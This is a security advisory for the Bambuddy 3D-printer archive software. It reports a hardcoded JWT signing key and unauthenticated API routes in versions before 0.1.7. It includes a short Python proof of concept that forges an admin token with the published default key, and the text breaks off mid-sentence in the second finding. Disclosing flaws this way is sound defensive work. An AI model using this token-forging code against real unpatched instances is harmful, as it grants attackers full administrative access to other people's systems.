EUVD-2026-267573

fkie_cve-2026-25505

Bambuddy is a self-hosted print archive and management system for Bambu Lab 3D printers. Prior to version 0.1.7, a hardcoded secret key used for signing JWTs is checked into source code and ManyAPI routes do not check authentication. This issue has been patched in version 0.1.7.

GHSA-gc24-px2r-5qmf — Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication

Affected: PyPI: bambuddy

### Summary 1. A hardcoded secret key used for signing JWTs is checked into source code 2. ManyAPI routes do not check authentication

### Details I am using the publicly available docker image at `ghcr.io/maziggy/bambuddy` #### 1. Hardcoded JWT Secret Key https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

<details> <summary>Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key</summary>

</details>

Any attacker can: 1. Forge valid JWT tokens for any user 2. Bypass authentication entirely 3. Gain full administrative access to any Bambuddy instance using the default key

**Steps to Reproduce:**

1. Run an instance of BamBuddy 2. Create admin user 3. Forge and use JWT: ```python import jwt import requests

token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256") resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.status_code) # 200 print(resp.text) # {"app":{"version":"0.1.7b","base_dir":"/app/data","archive_dir":"/app/data/archive"},"database": ... ```

#### 2. Most API Routes do not check Auth While investigating the JWT forgery, I noticed that requests without `Authorization` he…

Most recent entries from all

EUVD-2026-267573

fkie_cve-2026-25505

GHSA-gc24-px2r-5qmf — Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication